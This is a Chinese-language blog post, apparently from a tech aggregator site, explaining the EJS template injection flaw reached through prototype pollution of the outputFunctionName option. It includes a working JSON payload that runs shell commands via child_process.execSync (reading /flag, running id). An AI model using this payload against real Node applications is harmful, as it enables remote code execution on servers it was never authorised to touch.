当前位置: 首页 > news >正文

EJS模板引擎注入漏洞

EJS引擎的大致工作流程是

当res.render(X)执行的时候,express会把.ejs文件全部读取,并且把模板内容(也就是ejs文件)、数据对象(程序员显式传入的变量)用户输入、全局设置全部交给EJS引擎。


然后EJS引擎会执行的一段代码内容是

var src = 'var out = "";\n';
src += '  var __line = 1;\n';
src += '  try {\n';if (opts.outputFunctionName) {src += '    var ' + opts.outputFunctionName + ' = escapeFn;\n';
}
if (opts.destructuredLocals) {src += '    var { ' + opts.destructuredLocals.join(', ') + ' } = locals;\n';
}
src += '    with (locals || {}) {\n';
src += '      out += "' + templateContent + '";\n'; 
src += '    }\n';
src += '    return out;\n';
src += '  } catch (err) {\n';
src += '    rethrow(err, __line);\n';
src += '  }\n';

关键部分
if (opts.outputFunctionName) {src += '    var ' + opts.outputFunctionName + ' = escapeFn;\n';
}

直接用 + 把opts.outputFunctionName给拼接。

如果程序员的后端代码是这样的,那么就不存在漏洞

const express = require('express');
const app = express();
app.set('view engine', 'ejs');
app.get('/hello', (req, res) => {res.render('index', {user: 'Tom',outputFunctionName: 'Node' });
});
app.listen(3000);

因为outputFunctionName的属性值已经被声明。最终拼接的是一段无害的代码。

EJS模板注入发生在程序员没有给outputFunctionName赋值,因为这对原型链的污染才有效果。


例如注入:

{"__proto__": {"__proto__": {"outputFunctionName": "a; return global.process.mainModule.require('child_process').execSync('cat /flag').toString(); //"}}
}

那么在EJS引擎工作时,被 + 给拼接后会变成

src += var a; return global.process.mainModule.require('child_process').execSync('id').toString();// = escapeFn;

return global.process.mainModule.require('child_process').execSync('id').toString();直接独立成立一个语句,直接执行


简而言之

在程序员未设置outputFunctionName的情况下,通过原型链污染进行对outputFunctionName的赋值,在EJS引擎调用代码的时候会将outputFunctionName进行拼接,这就是EJS模板引擎注入漏洞

http://www.gsyq.cn/news/159859.html

相关文章:

  • RestCloud ETL 4.0 Docker 部署指南
  • 分布式事务管理
  • 【毕业设计】基于java的校园闲置物品交易平台设计与实现(源码+文档+远程调试,全bao定制等)
  • 编程智能体Cline的核心架构
  • 论文写作必备工具指南:功能对比与实操案例详解
  • 【课程设计/毕业设计】基于java的大学生闲置物品交易平台设计与实现基于java的校园闲置物品交易平台设计与实现【附源码、数据库、万字文档】
  • 论文写作加速秘籍:主流平台测评与实操案例解析
  • Java计算机毕设之基于Java的书店管理系统的设计与实现图书信息管理、销售借阅管理(完整前后端代码+说明文档+LW,调试定制等)
  • 计算机Java毕设实战-基于JAVA的无人机销售平台的设计与实现基于Spring Boot+vue的无人机销售平台的设计与实现【完整源码+LW+部署说明+演示视频,全bao一条龙等】
  • 计算机Java毕设实战-基于java的校园闲置物品交易平台设计与实现基于java的校园二手交易市场系统设计与实现【完整源码+LW+部署说明+演示视频,全bao一条龙等】
  • 认准GEO优化,用好GEO优化,GEO优化是各行业推广首选利器 - 源码云科技
  • 2-乙酰氨基-6-叠氮-2,6-双脱氧-D-葡萄糖:糖生物学研究的精准化学探针 1611491-03-2
  • 烟雾报警器灰尘补偿算法
  • 云徙科技:企业全链路AI解决方案赋能伙伴
  • 【毕业设计】基于springboot的某零售商经营平台的设计与实现(源码+文档+远程调试,全bao定制等)
  • 【客户案例】某大型保险:CMDB纳管之后,如何管住存量盘活增量数据?
  • 【毕业设计】基于springboot的健康体检网络管理系统的设计与实现(源码+文档+远程调试,全bao定制等)
  • PINNs分数阶扩散方程的参数反演模型MATLAB代码
  • 计算机Java毕设实战-基于springboot+vue的某零售商经营平台的设计与实现【完整源码+LW+部署说明+演示视频,全bao一条龙等】
  • 完整教程:FastAPI项目:搭建一个搜索系统,可选不同搜索引擎进行搜索
  • 构建大数据领域数据服务的生态系统
  • 基于GA-WNN的电涡流传感器温度补偿附Matlab代码
  • 手足口病主要病原体:肠道病毒EV71结构与重组蛋白研究全解析
  • 【课程设计/毕业设计】基于springboot的居民小区物业管理系统的设计与实现“物业办公 - 业主服务 - 数据监管” 三位一体的数字化架构【附源码、数据库、万字文档】
  • 英语_阅读_broke the world record_待读
  • 为什么Python中必须学习数据处理包?
  • noob12 反向输出一个四位数
  • 计算机Java毕设实战-基于springboot的居民小区物业管理系统的设计与实现基于SpringBoot的智慧物业服务系统的设计与实现【完整源码+LW+部署说明+演示视频,全bao一条龙等】
  • go-zero rest 源码学习笔记
  • MBA必看!9个高效降aigc工具推荐,轻松应对AI检测